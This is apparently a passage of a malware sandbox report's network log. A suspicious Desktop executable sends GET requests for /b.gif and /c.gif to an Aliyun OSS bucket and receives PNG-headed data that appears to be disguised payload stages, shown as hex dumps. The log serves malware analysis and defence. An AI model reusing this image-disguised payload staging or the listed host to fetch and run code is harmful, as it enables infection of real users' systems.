Data Ascii: uc}.0VmO2O?:G6O#y;10[XhvX&+$%&' !"#<=>?8rH3OAh/$&o]k8u?11z9Q68qHksLEEMJL[-PRPYYZ\]^%FK,c%hj#)JOduu>uYz\|7I}r@\|
2025-01-07 03:15:34 UTC	4096	IN	Data Raw: b7 ac d4 2f 87 98 99 9a d3 17 d5 96 ac 72 e9 2b ff 80 8d ee 2e e4 8d 96 e3 27 e1 8a 9f 77 f5 96 8b b5 b5 b6 b7 7f fd 9e ff be bd be bf 88 48 9e e7 e4 3a d3 4d 37 c9 ca 4e 0c b8 c8 30 c5 d1 d2 d2 d4 9d 5d 9b fc e9 25 ce c1 dd df df 27 e4 4d 65 e5 e5 e7 e7 e8 e9 d9 22 04 89 21 10 0f b9 7f fe 91 70 f7 f7 07 ec 75 fb fd fd b6 7c 3d 96 76 02 04 fa 4a 8a 05 31 fb f4 f3 41 87 02 81 94 13 13 d3 10 81 92 19 19 19 3b 1c 1d 56 96 3d 49 a7 22 24 6d af 3a a9 ac 2b 2b 59 16 6b 1c f0 79 bf 36 51 41 37 37 82 3a 1a 3b 3c 75 b7 7b 64 69 03 ce 0c 44 0e ce 14 6d 6a b4 59 49 cb 4e 50 19 d9 46 11 21 57 57 11 da 92 a4 d9 9d 17 50 28 b1 2a ea 71 51 12 66 68 21 e7 66 81 e9 6f 6f 8f 64 8d 8c 74 75 9e bd 90 86 85 33 f1 31 5a 2f b3 53 c3 3b 98 84 86 87 60 a1 ee 8b 8c c5 03 c3 b4 c1 Data Ascii: /r+.'wH:M7N0]%'Me"!pu\|=vJ1A;V=I"$m:++Yky6QA77:;<u{diDmjYINPF!WWP(*qQfh!foodtu31Z/S;`
2025-01-07 03:15:34 UTC	4096	IN	Data Raw: b7 d4 16 36 5f 98 99 9a 66 24 62 61 60 df e9 29 d7 80 cd ee 24 6c f9 f5 68 e4 28 58 db 05 f9 39 f7 90 85 fe 3e e4 9d da 38 c4 a9 be ca 84 a7 a4 a5 54 ca 71 d8 ae 4a 31 8a be c7 a8 4c 2b 8b a5 d7 b2 56 15 f7 d7 6e dc bd e1 9c de ad ea 87 df b9 e4 92 e2 81 ed c9 ea a3 6f 2a ec a7 73 37 f0 95 71 2e 82 b6 9e c2 22 8f 34 16 c4 99 66 91 64 65 94 0a b1 08 40 84 5e 2f 3c e5 dd 26 10 11 1d a4 1a 5d 9b 43 3c 29 7c 90 c4 55 9d d8 22 c9 9d 0a 24 25 6e a4 ee 2b 4c ae f7 59 2b 49 0b e9 46 e2 78 be 6a 13 78 36 8d f3 33 8a fd 77 cb 1d 66 23 6f 84 c6 3b 6c 01 4a 3f 44 0c cd ec 98 51 52 53 a9 1d dd 23 7c 31 12 d8 98 0d 01 9c ac ad ae af a8 2d e5 8b 50 ea 57 ae 06 6c 6e 6f 3c fa bb 7c f1 f7 76 77 78 31 ff b2 09 50 96 5d ad 81 82 c6 b7 4c c3 b4 48 ba 58 b8 45 c5 49 cb b4 b1 Data Ascii: 6_f$ba`)$lh(X9>8TqJ1L+Vno*s7q."4fde@^/<&]C<)\|U"$%n+LY+IFxjx63wf#o;lJ?DQRS#\|1-PWlno<\|vwx1P]LHXEI
2025-01-07 03:15:34 UTC	4096	IN	Data Raw: ce d5 c9 c9 c9 c5 5a 56 57 50 51 52 53 6c 6d 6e 6f 68 e5 f5 ef 2b 45 9a e3 29 64 e6 24 69 be 36 d4 b5 b5 b6 ff 3d 6b b5 3f e2 bc be bf 85 f2 10 8e 41 05 8a 4c 11 bd e2 8a c3 7a ce a9 55 11 a6 cc 95 6f d4 d7 d8 d9 93 e0 0e d2 58 25 e0 e1 e2 af 69 bc e4 81 61 e8 8c aa 2b ee d4 ef bd f2 28 be 71 3c 82 ad 9e b8 79 c2 fc 89 ad 99 66 91 64 65 94 4c 85 c5 09 45 31 d9 03 8e c5 0f 10 11 53 1c a3 14 5f 94 d9 1b 53 98 df 1f 78 5e a9 62 dc 45 65 a6 1f 27 5d f2 6b 24 9b 6c d0 49 0d 1e 32 47 29 53 0b 6b 38 4d 2d 72 bf ff 3f 73 7b 93 4d c0 d1 45 46 47 2e 08 8d 48 10 4d 07 cc 93 53 1a d8 18 71 36 1f dd 90 2e 73 3a de 67 5f 14 43 04 05 f4 2c e5 a5 69 25 51 b9 1f 02 61 d8 71 39 f1 b2 76 3c f5 b4 7a 1f 3b f2 3f 83 18 fc b9 81 f7 62 cc 0e ca a3 e0 c1 0f 42 f8 cb 81 38 91 f7 Data Ascii: ZVWPQRSlmnoh+E)d$i6=k?ALzUoX%ia+(q<yfdeLE1S_Sx^bEe']k$lI2G)Sk8M-r?s{MEFG.HMSq6.s:g_C,i%Qaq9v<z;?bB8
2025-01-07 03:15:34 UTC	4096	IN	Data Raw: db 17 55 b6 de 1b 71 9b ee 4c d5 15 1d f8 a0 a2 a3 54 26 26 c7 a9 a9 aa aa 6f 61 62 63 7c 7d 7e 7f 78 fd 33 7e b7 3d 2c bb bc bd 4e 3c c1 3e 8a 48 45 d5 c7 c7 c8 81 4f 0b b8 c9 3e 4c d0 2e 9a 58 55 f5 d7 d7 d8 91 5f 1b a8 d9 2e 5c e0 1e aa 68 65 fd e7 e7 e8 a1 6f 2b 98 e9 1e 6c f0 0e ba 78 75 c5 f7 f7 f8 b1 7f 3b 88 f9 0e 7c 00 fe 4a 8e 45 5d 47 bf 0e 09 0a 0b 40 80 03 fd 24 10 12 75 84 59 2f 5f e8 6d 16 53 97 0d 56 9a f2 55 26 d3 a7 27 d9 6f ab 51 d2 2b 58 20 66 a4 60 39 7a b6 e6 41 32 c7 bb 3b c5 73 bf fd 1e 76 c3 a9 43 36 94 0d cd c6 10 48 4a 4b bc ce ce 2f 51 51 52 ac 1c de 97 94 94 95 96 97 90 91 92 93 ac ad ae af a8 25 35 2f eb 85 4a 23 e9 bf 26 e4 aa 05 37 3b f1 bc 02 37 34 f2 6b 37 47 af 0a 50 c8 08 93 cb 0f 4f 6e 0d 76 76 75 c6 09 5f fa 90 d9 1a Data Ascii: UqLT&&oabc\|}~x3~=,N<>HEO>L.XU_.\heo+lxu;\|JE]G@$uY/_mSVU&'oQ+X f`9zA2;svC6HJK/QQR%5/J#&7;74k7GPOnvvu_
2025-01-07 03:15:34 UTC	4096	IN	Data Raw: 56 1f 5a 7e 3d d3 99 9a d3 17 d6 8e 14 50 ae 14 e7 80 95 2e a6 41 2a aa ab ac e5 25 db 94 f1 31 7a 94 36 7e 48 31 f2 a2 f3 37 e1 9a f7 88 42 06 e3 9b 06 45 38 37 bd e9 48 33 33 ba d1 98 5a 15 9b 5f 1a 9e 5a cd d1 82 da dc 5e 3e c0 a8 20 1b e6 ac 8e 26 bf a0 ea ee 21 07 ea a6 62 f5 71 d8 f2 f4 03 b6 ff d8 8d e9 c8 2e 76 31 bb 8d 43 00 eb d9 44 06 07 40 8a f2 f4 78 2b 46 84 5b 01 98 57 30 25 9e 16 f3 0f a7 1a 1c 1d 1e 57 ad 75 06 13 af ea 62 ac ed c1 3d 60 2c 2d a5 df 0b c4 46 3a b7 7e 2e 17 bb f1 c5 d0 39 32 88 7b 64 71 0a c8 28 61 7e 0f c3 3d 6e 0b 04 c6 12 6b 18 19 d1 97 74 0a 95 9b 94 95 96 97 90 91 92 93 ac ad ae af a8 2d ef 3b 4c 79 3c 23 ef 81 0e 22 f5 b8 3f f8 a5 3c fd 87 30 f2 a0 37 f7 a4 0b 50 68 a1 7f 7c 7b c0 b5 4e cd ba 4a 4c 8c 9b 8e 8f 90 a2 Data Ascii: VZ~=P.A*%1z6~H17BE87H33Z_Z^> &!bq.v1CD@x+F[W0%Wub=`,-F:~.92{dq(a~=nkt-;Ly<#"?<07Ph\|{NJL
2025-01-07 03:15:34 UTC	4096	IN	Data Raw: 65 57 94 e2 9f d0 12 55 73 09 58 61 60 e8 2a 65 eb 2f f9 82 97 e0 2a 6e 8b f3 6e 62 63 7c 7d 7e 7f 78 f9 3b f6 a9 f1 39 79 ad f1 95 7d a6 51 a4 a5 54 ca 70 cd 8a c6 7c cf ce e6 06 ba d8 99 51 11 d5 50 16 a2 34 5c 13 d4 48 1d 1d 13 2c 2d 2e 2f 28 ad 6f ea 01 c2 eb eb 2f 21 22 23 3c 3d 3e 3f 38 b5 a5 bf 7b 15 da b3 77 24 b6 74 0d d1 29 02 04 ed 1d e4 f7 f6 42 8e cc 79 1a 47 9b da ed c3 91 d5 62 1c a0 18 1a 1b 1c 55 9d db 00 7a e1 10 e4 6d a5 e3 08 72 e9 e7 e0 e1 e2 e3 fc fd fe ff f8 75 65 7f bb d5 1a 73 bf c4 de 77 cb 98 4d c4 df 45 46 47 00 c0 3e 6f 7c 05 cb 86 ee 50 52 53 54 1d 59 12 a9 11 d3 27 78 65 38 39 f0 07 04 05 f4 2d ed 6a d9 59 6b 6b 24 e8 a7 1a 50 99 7d 77 74 75 cf 69 78 79 7a 93 b9 7c 7e 7f 39 7e 82 83 84 6d 4d 74 77 76 c2 00 81 01 be 8e 90 dd Data Ascii: eWUsXa`e/nnbc\|}~x;9y}QTp\|QP4\H,-./(o/!"#<=>?8{w$t)ByGbUzmrueswMEFG>o\|PRSTY'xe89-jYkk$P}wtuixyz\|~9~mMtwv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49710	39.103.20.48	443	7668	C:\Users\user\Desktop\287438657364-7643738421.08.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 03:15:35 UTC	111	OUT	GET /b.gif HTTP/1.1 User-Agent: GetData Host: jylhok.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
2025-01-07 03:15:36 UTC	547	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Tue, 07 Jan 2025 03:15:36 GMT Content-Type: image/gif Content-Length: 125333 Connection: close x-oss-request-id: 677C9C582A05773233776008 Accept-Ranges: bytes ETag: "2CA9F4AB0970AA58989D66D9458F8701" Last-Modified: Mon, 06 Jan 2025 08:35:20 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 10333201072197591521 x-oss-storage-class: Standard x-oss-ec: 0048-00000104 Content-Disposition: attachment x-oss-force-download: true Content-MD5: LKn0qwlwqliYnWbZRY+HAQ== x-oss-server-time: 11
2025-01-07 03:15:36 UTC	3549	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 03 00 00 00 c3 a6 24 c8 00 00 01 da 50 4c 54 45 00 00 00 f7 cd 48 f0 d2 4b f5 cd 46 0f a5 f0 f7 ce 47 f7 cd 48 f7 cc 47 f7 cd 48 f7 cd 48 f5 cd 44 f6 ce 49 f6 cd 47 f6 cd 47 66 c9 46 66 c9 48 66 c9 46 66 ca 45 f6 cd 48 f6 cc 48 f7 cc 48 f6 cc 48 f6 cd 48 0f a0 eb 12 a2 ea f8 cd 48 11 a2 e9 10 a1 e9 f7 cd 48 f6 cd 47 10 a2 ea 11 a1 ea f6 cd 47 11 a2 eb 10 a1 ea 12 a1 e8 0f a5 e8 10 a2 ea 11 a2 e9 f6 cc 47 ff da 48 11 a1 e9 11 a2 e9 00 99 ff 11 a1 e9 10 a2 ea 11 a1 e9 10 a3 ea 11 a1 e9 00 bf ff 00 aa ff 11 a2 e9 00 91 da 11 a0 e7 10 a2 ea 10 a1 e9 10 a2 eb 11 a1 e9 11 a2 ea 11 a1 e9 10 a2 e9 0f 9f ef 10 a2 e9 10 a2 ea 13 a6 eb 10 a1 ea 10 a1 e9 1f 9f df 11 a1 e9 11 a4 e8 10 a1 e9 10 Data Ascii: PNGIHDR$PLTEHKFGHGHHDIGGfFfHfFfEHHHHHHHGGGH
2025-01-07 03:15:36 UTC	4096	IN	Data Raw: 5e 5f 58 dd 1d c6 90 d1 17 9e 99 14 9f 9f e8 24 70 eb ab e0 64 64 64 65 66 67 60 61 62 63 7c 7d 7e 7f 78 fd 3f eb 9c b1 ed f3 3f 51 9e f7 4d c4 05 d1 c5 c5 8e 4c 31 81 43 ca 47 17 86 4c 11 d9 3a 49 f3 d5 d6 21 1b d8 ae d6 66 c5 de df e0 a9 69 2c 0c cd ed e7 e8 a1 61 b7 c8 dd a6 64 37 b9 71 37 d4 aa 35 3b 34 35 36 37 30 31 32 33 cc cd ce cf c8 4d 8b 02 89 1b 0b 0b 44 84 0f 47 93 d0 1a fa 4d 32 16 17 d4 d5 d6 d7 d0 d1 d2 d3 ec ed ee ef e8 6d ab 22 b9 a1 2b 2b 64 ea 6f 3f 30 31 32 33 7c bc 77 3f 70 b4 3f dd 2e 3c 3e 77 c9 40 0a c8 85 86 8a 8b 84 85 86 87 80 81 82 83 9c 9d 9e 9f 98 1d d5 bb 10 11 d7 17 78 7d b6 9d 9f 9e 9d 2b e9 70 7d c1 69 69 22 e6 20 49 4e 87 11 59 72 73 b8 35 25 3f fb 95 5a 33 f7 a4 36 f4 42 c9 0f 8e 81 97 87 87 87 de 4a c3 01 de 86 c7 19 Data Ascii: ^_X$pdddefg`abc\|}~x??QML1CGL:I!fi,ad7q75;45670123MDGM2m"++do?0123\|w?p?.<>w@x}+p}ii" INYrs5%?Z36BJ
2025-01-07 03:15:36 UTC	4096	IN	Data Raw: 6d 6d 6b 6a 06 df 1b 5d a2 58 50 d5 1d 73 88 18 aa a3 a4 a5 4e a1 a8 a9 aa 3b e4 2e 6a 87 73 38 fe 97 bc fd 35 5b 90 00 ad bb bc bd 41 aa f1 c1 c3 c3 41 05 b2 cf 43 8d ee fb 47 05 03 e6 98 5c df bd 6f d4 d6 3f ad d9 da db 94 56 9a fb c8 a9 6b e6 b1 59 e7 e7 a0 64 ae cf c4 a5 6d 2f f8 b9 7b f6 11 4e f7 f7 b0 72 ff c5 40 fc fe b7 89 04 ad b9 05 05 c1 02 9d b3 0b 0b 05 09 0e cf d7 14 9d a9 15 15 17 17 18 19 dd 1e 85 a7 1f 1f 21 21 22 23 9c 2d 26 27 28 61 41 eb 2c 65 a3 22 a1 8b 33 33 bf 61 12 07 70 b0 2e 3a 74 b0 33 f5 42 40 42 ab 09 bb b9 b8 d8 01 c9 8f 64 8e 82 83 9c 19 db 0f 70 75 01 1f db b5 1a 13 d7 84 a1 4a 01 9e 62 63 2c ee dd 9f 68 69 6a 23 e1 39 4a 3f 38 fa bd 36 47 b5 89 62 29 86 7a 7b 34 f8 be 0b b2 c9 01 e7 a0 bd 86 cf 05 c5 ae d3 c4 06 da ab c0 Data Ascii: mmkj]XPsN;.js85[AACG\o?VkYdm/{Nr@!!"#-&'(aA,e"33ap.:t3B@BdpuJbc,hij#9J?86Gb)z{4
2025-01-07 03:15:36 UTC	4096	IN	Data Raw: c2 4b 9b bd e2 b3 b8 d1 11 54 fa 92 e1 ef 78 e4 29 53 97 53 4e e5 ab a9 aa ef 27 a2 9d 7d f5 34 7b bc 30 77 b6 b7 b8 f5 31 fc b4 f1 33 aa 41 0e 3d 3c 8c 4e 81 df 43 02 8e f0 3c b1 d5 87 11 39 f2 97 ef 25 a9 c5 5d 10 51 01 57 2f d1 9b 39 68 be c7 cc ea ce 93 cc c9 ab e4 5a e5 11 2d 73 10 fd b9 fb 4b 72 e6 f8 dd fb fb be 77 72 ee 10 25 03 03 48 2e c6 46 83 49 f6 d8 e4 41 87 48 18 98 55 0b 55 1a a0 1f 9b f8 15 51 13 a3 9a 0e 20 05 23 23 66 af aa 36 38 0d 2b 2b 60 06 ee 6e bb 71 ce e0 dc 79 bf 70 30 b0 7d 27 7d 32 88 37 c3 a0 4d 09 4b fb c2 56 48 6d 4b 4b 0e c7 c2 5e 40 75 53 53 18 7e 96 16 d3 19 a6 88 b4 11 d7 18 68 e8 25 43 25 ee 66 2e eb a9 6e 27 e5 2a 66 e6 37 55 33 48 a5 7a f3 3e 87 86 85 84 ba 1b 71 00 f4 a5 c2 cb 09 d1 a2 c7 01 fd ae b3 c4 06 41 67 c9 Data Ascii: KTx)SSN'}4{0w13A=<NC<9%]QW/9hZ-sKrwr%H.FIAHUUQ ##f68++`nqyp0}'}27MKVHmKK^@uSS~h%C%f.n'*f7U3Hz>qAg
2025-01-07 03:15:36 UTC	4096	IN	Data Raw: 19 d1 84 d1 1d 87 d9 96 2c 92 1f 7c 91 d5 af 1f 26 92 a4 81 a7 a7 ea 23 26 9a bc 89 af af fc 9a 7a f2 3f f4 4a 64 50 ba 4a 30 7a f4 bd 7d 88 c2 05 8b ff 1d b4 ec 89 c6 7c c2 8d 32 0e 4c 31 de 98 dc 6a 51 e7 d7 fc d8 da 99 56 51 ef cf c4 e0 e2 af cf 2d a7 6c b9 15 39 01 13 27 ab d4 33 83 57 b6 71 35 f9 b3 2d 72 38 10 fe 76 3b b7 8b 5d 26 13 4c 8e 6a 23 10 41 81 7f 28 2d 46 84 6c 35 3a 52 4a d6 da db d4 51 93 47 38 15 56 96 54 05 32 6b ad 59 02 3f 69 7c 6b 7d 6d 7a 66 ac dc 01 7f b8 c5 7c bd ef 70 b2 c8 77 b7 d4 0d c0 01 78 3a 47 30 4a 0b 24 30 4d a2 b9 b8 b2 b1 06 dd 45 55 b8 52 1d dd 80 1c d2 a5 13 d9 8f 51 db 17 60 62 63 21 e0 99 13 79 81 b9 9f 93 92 26 e4 b8 39 11 30 70 3d 75 bf 93 7a 32 f0 b3 3d 46 06 90 8e 06 d7 85 85 86 be f3 81 ff 83 b5 b6 81 02 d7 Data Ascii: ,\|&#&z?JdPJ0z}\|2L1jQVQ-l9'3Wq5-r8v;]&Lj#A(-Fl5:RJQG8VT2kY?i\|k}mzf\|pwx:G0J$0MEURQ`bc!y&90p=uz2=F
2025-01-07 03:15:36 UTC	4096	IN	Data Raw: de 1a f0 b1 a6 df 11 dd be b3 d0 14 ea bb 80 49 6d 55 5b 5a ea 2c d5 29 e7 20 eb a5 e6 22 a5 21 1d 4c 4b f4 b9 01 b0 3a 5b b4 f4 b2 00 3b d1 c1 e6 c2 c4 4f 4a d6 d8 ed cb cb 80 e6 0e 8e 5b 91 2e 00 3c 98 5f 90 d0 98 53 9c c4 9c d1 69 e8 62 03 ec ac ea 58 63 f9 e9 ce ea ec 67 62 fe e0 d5 f3 f3 b8 de 36 b6 73 b9 06 28 14 b0 77 b8 08 40 8b 44 18 44 09 b1 00 8a eb 04 44 02 b0 8b 01 11 36 12 14 9f 9a 06 08 3d 1b 1b 50 36 de 5e ab 61 de f0 cc ae 6a 03 40 68 a3 6c 0c d2 ef 62 b9 76 3a 7a b9 75 32 76 b3 29 73 b2 7b 35 7f b6 17 65 cb 0f 60 2d 7d 0a 88 46 c8 5a b2 b2 b1 0e a6 57 12 27 05 1c dd 81 10 d2 94 b3 69 81 a1 a0 e4 a1 6d e7 f0 65 66 67 83 55 e9 16 9c 6d 18 59 f0 cc 8a 73 74 75 76 78 fd ee 7a 7b 7c f6 fb 7f 81 81 82 cf 0f 4b ca 0e ec ad b2 c6 07 48 07 cb b4 Data Ascii: ImU[Z,) "!LK:[;OJ[.<_SibXcgb6s(w@DDD6=P6^aj@hlbv:zu2v)s{5e`-}FZW'imefgUmYstuvxz{\|KH
2025-01-07 03:15:36 UTC	4096	IN	Data Raw: 19 52 57 d5 c5 df 1b 75 ba d3 17 44 d6 14 62 e9 2f ae 41 67 a6 a7 a7 fe 6a e3 25 a6 e6 22 e3 b9 fa 3e fc bd b9 a6 ba 51 99 6c 43 42 f6 32 c5 29 06 c3 c4 8d 4f c4 80 42 09 83 4f 09 ee 94 13 99 51 b2 c4 d5 9e 5a dd 39 1e db dc 95 57 9e e8 a9 6f e6 21 21 e6 e7 a0 60 eb a3 67 2c 2d 23 3c b1 a1 a5 a3 b4 a2 b6 ad b8 ac ba ab b5 7d 13 70 49 89 fa 41 36 f9 43 81 75 2e 2b 48 2c b2 2b a0 11 12 13 58 34 6a 33 30 55 3b a7 38 d5 1e 1f 20 c9 85 ff db da 6a ac 40 01 66 a2 40 09 6e c7 a9 ed cd cc 7c be 76 17 70 b0 be 1f fc 3d 3e 3f 08 ca 35 13 0c cc f2 63 f0 49 4a 4b 04 c6 09 07 18 d8 16 77 64 1d dd 08 18 11 d1 1c 6c 15 d7 1b 44 29 2e e8 13 4d 2a ee 1c 4d 3a 23 e7 a6 86 29 7f 71 72 9b 21 a9 89 88 30 f0 0a 5b 94 31 a2 80 7f c9 0b db ac 6d c5 5b 77 76 c2 00 dc ad c6 04 c2 Data Ascii: RWuDb/Agj%">QlCB2)OBOQZ9Wo!!`g,-#<}pIA6Cu.+H,+X4j30U;8 j@f@n\|vp=>?5cIJKwdlD).M*M:#)qr!0[1m[wv
2025-01-07 03:15:36 UTC	4096	IN	Data Raw: b6 83 dd 52 57 b7 9d 0a 83 72 99 9d 9e 9f 6c 6d 6e 6f 68 66 6a 6b 64 65 66 67 60 61 62 63 7c 7d 7e 7f 78 76 7a 7b 74 f1 31 be a9 0f be bf 88 4c d7 ad 73 3a 39 8f f3 0b be e8 a9 85 45 cb f5 e1 d2 d3 d4 9d 5d 5e 40 d9 da db 94 e6 96 cf 92 e7 aa d8 ac ed 90 e0 51 e4 ea eb ec 20 c7 2c 3c b1 a1 bb 77 19 d6 c4 23 b1 77 ee 81 8c ff ff 45 32 c2 4b 89 09 9d 4f 85 05 c0 b1 ac 02 0e 0f f8 c9 10 13 14 90 d6 63 09 e6 1f 9d 6d 1c 1e e0 e3 a2 d9 22 56 f6 96 26 c3 2e c2 21 2c 2d 2e 1d f0 79 b1 f7 14 6e f5 fb f4 79 69 73 bf d1 1e b4 5d 21 33 42 44 ae 5b 0f c5 4c 65 3a 4d 4d b1 84 18 dc 5e c8 1c d8 5a 9f a7 4c 4d eb 5c 5d a1 52 21 10 63 63 e1 be 13 b8 d8 68 22 e8 a8 4d 35 ac bc 39 fb 2f 50 7d 3e fe 14 5d 6a 33 f5 09 5a 67 d7 c0 d6 c2 d1 c4 d0 c6 df c1 09 67 ac 06 77 c3 1d Data Ascii: RWrlmnohfjkdefg`abc\|}~xvz{t1Ls:9E]^@Q ,<w#wE2KOcm"V&.!,-.ynyis]!3BD[Le:MM^ZLM\]R!cch"M59/P}>]j3Zggw
2025-01-07 03:15:36 UTC	4096	IN	Data Raw: 18 94 1c 96 de 68 5b d0 17 e4 9e dd 1a 69 d4 bd e2 27 49 d0 0c e7 28 57 8a df aa ed 2e 51 b9 c4 2c fb 31 6e c2 be 7e fa 45 bb 57 be f6 40 0f 81 f0 35 4e c2 42 07 c7 4d 1c cb cc cd f2 ef a4 d5 ee da a1 d2 9e 28 1f 53 dd 30 2d 59 1e d0 64 5e e2 e3 e4 a8 63 11 9c ee a3 62 f2 a4 6d 29 f8 b8 0d b6 f4 4f f7 f7 f8 f9 c9 3b 17 f8 b6 00 c7 fe c2 89 0b 85 ff 5b 7c fd 8a f2 2e 78 3f 8b d2 64 0a 53 90 e3 62 1d 20 56 1b 6e 19 55 e1 d8 cb 28 11 f1 64 a1 d0 67 27 bd ec fa c4 c6 3f d0 f8 79 b7 e8 40 33 f0 34 64 71 c5 f8 75 c2 3a 1b c5 81 37 a8 ce 42 c2 87 3c 0f 0a cf ba 38 46 73 70 25 6f 6f 5d 21 6f d2 8a 2d 77 13 d9 86 2a 5a e8 62 2a 9c a7 6a d8 68 80 99 59 6b 6c e8 ae 1b 63 38 8d 77 50 3d 89 b0 30 fc a1 0f 7b f7 79 f7 83 c9 7d 40 cd 7a 82 a3 c0 76 4d 62 e9 72 71 70 d8 Data Ascii: h[i'I(W.Q,1n~EW@5NBM(S0-Yd^cbm)O;[\|.x?dSb VnU(dg'?y@34dqu:7B<8Fsp%oo]!o-wZbjhYklc8wP=0{y}@zvMbrqp
2025-01-07 03:15:36 UTC	4096	IN	Data Raw: 51 9b dc 16 6d 8f ed 48 d2 10 91 71 cd 9e a0 49 dd 58 5b 5a ee 24 8d 76 f9 aa ac ad e6 2c 74 91 e9 70 78 fd 35 76 88 f1 45 9e 19 2d be bf 0c 89 41 02 f4 8d 39 e2 69 59 ca cb 00 85 47 93 f4 d9 9e 5a 98 f1 f6 80 90 5a 36 fb 95 56 07 96 6b 19 69 e9 0c 8d ec e7 e8 79 a2 60 eb a5 65 e7 b8 7a 73 7b f4 f5 f6 07 07 f9 71 f0 14 59 f4 ff 00 49 89 5f 20 35 4e 84 cc 29 55 c8 c0 45 87 53 34 19 5e 9a 58 31 36 40 50 9a f6 3b 55 96 c7 56 ab d9 a9 29 cc 0d 2c 27 28 b9 62 a0 23 1e fc 67 bb 38 da 95 36 35 36 a7 b3 32 d2 5d 36 3d 3e 77 cb 1d 66 73 0c c6 82 67 17 8a 86 87 80 05 c7 13 74 59 1e da 18 71 76 00 10 da b6 7b 15 d6 87 16 eb 99 e9 69 8c 8d 6f 67 68 f9 22 e0 2b 65 26 e4 60 39 f9 7c 3c fe 64 3f f3 70 92 25 7e 7d 7e ef 0b 8a 6a 9d 8e 85 86 cf 03 d5 ae bb c4 0e 4a af cf Data Ascii: QmHqIX[Z$v,tpx5vE-A9iYGZZ6Vkiy`ezs{qYI_ 5N)UES4^X16@P;UV),'(b#g86562]6=>wfsgtYqv{iogh"+e&`9\|<d?p%~}~jJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49711	39.103.20.48	443	7668	C:\Users\user\Desktop\287438657364-7643738421.08.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 03:15:37 UTC	111	OUT	GET /c.gif HTTP/1.1 User-Agent: GetData Host: jylhok.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
2025-01-07 03:15:38 UTC	546	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Tue, 07 Jan 2025 03:15:38 GMT Content-Type: image/gif Content-Length: 10681 Connection: close x-oss-request-id: 677C9C5A9F27CB3430F36997 Accept-Ranges: bytes ETag: "10A818386411EE834D99AE6B7B68BE71" Last-Modified: Mon, 06 Jan 2025 08:35:19 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 10287299869673359293 x-oss-storage-class: Standard x-oss-ec: 0048-00000104 Content-Disposition: attachment x-oss-force-download: true Content-MD5: EKgYOGQR7oNNma5re2i+cQ== x-oss-server-time: 11
2025-01-07 03:15:38 UTC	3550	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 03 00 00 00 c3 a6 24 c8 00 00 01 da 50 4c 54 45 00 00 00 f7 cd 48 f0 d2 4b f5 cd 46 0f a5 f0 f7 ce 47 f7 cd 48 f7 cc 47 f7 cd 48 f7 cd 48 f5 cd 44 f6 ce 49 f6 cd 47 f6 cd 47 66 c9 46 66 c9 48 66 c9 46 66 ca 45 f6 cd 48 f6 cc 48 f7 cc 48 f6 cc 48 f6 cd 48 0f a0 eb 12 a2 ea f8 cd 48 11 a2 e9 10 a1 e9 f7 cd 48 f6 cd 47 10 a2 ea 11 a1 ea f6 cd 47 11 a2 eb 10 a1 ea 12 a1 e8 0f a5 e8 10 a2 ea 11 a2 e9 f6 cc 47 ff da 48 11 a1 e9 11 a2 e9 00 99 ff 11 a1 e9 10 a2 ea 11 a1 e9 10 a3 ea 11 a1 e9 00 bf ff 00 aa ff 11 a2 e9 00 91 da 11 a0 e7 10 a2 ea 10 a1 e9 10 a2 eb 11 a1 e9 11 a2 ea 11 a1 e9 10 a2 e9 0f 9f ef 10 a2 e9 10 a2 ea 13 a6 eb 10 a1 ea 10 a1 e9 1f 9f df 11 a1 e9 11 a4 e8 10 a1 e9 10 Data Ascii: PNGIHDR$PLTEHKFGHGHHDIGGfFfHfFfEHHHHHHHGGGH
2025-01-07 03:15:38 UTC	4096	IN	Data Raw: 4d cf 62 ff 5a 3f 30 31 3a fe ee 75 37 8a ba 5b 85 e1 ec 6b 35 10 78 f6 6d 36 3d 23 d2 d0 cd ab db f8 37 32 1f 37 11 bf 96 19 b0 c6 be a6 a0 ee eb 24 5d 48 ae 73 f3 f5 c5 94 b0 70 dd c6 5c 11 f5 e3 28 66 41 36 66 ef 88 eb 8b 2d 92 d1 9e 9a 8e 78 c0 74 34 67 7b b1 f3 fc 59 49 81 89 f5 cf 42 a2 b8 b8 7a d9 bb 7f 45 04 62 02 52 34 b9 0e 45 7f ce ff c3 12 7c ec ed 9c 64 e7 85 d4 e8 6d e9 e8 2d c8 3d 69 6a 0d 66 e5 c2 e6 27 9e d7 9e 98 68 92 43 fb c4 05 18 16 a9 a8 72 cc e5 66 13 b1 0c 24 22 dc 23 42 b1 c5 b3 c5 9f fd f3 d6 88 82 8e d7 81 8f 50 ee 36 68 55 e9 6b 5a ae a1 ec ca 4e e8 e9 82 52 74 0c 38 e0 2c 9b 17 6f 51 cf 4d 52 2a df 70 1d 00 4d 53 4a 65 f0 2f 99 7a fa 82 f9 0c fb 20 75 c3 54 ed 1d 83 3b 0b af 29 d0 11 b9 47 4d 64 2c b9 73 9e 4e 8d b6 ee f3 66 Data Ascii: MbZ?01:u7[k5xm6=#727$]Hsp\(fA6f-xt4g{YIBzEbR4E\|dm-=ijf'hCrf$"#BP6hUkZNRt8,oQMR*pMSJe/z uT;)GMd,sNf
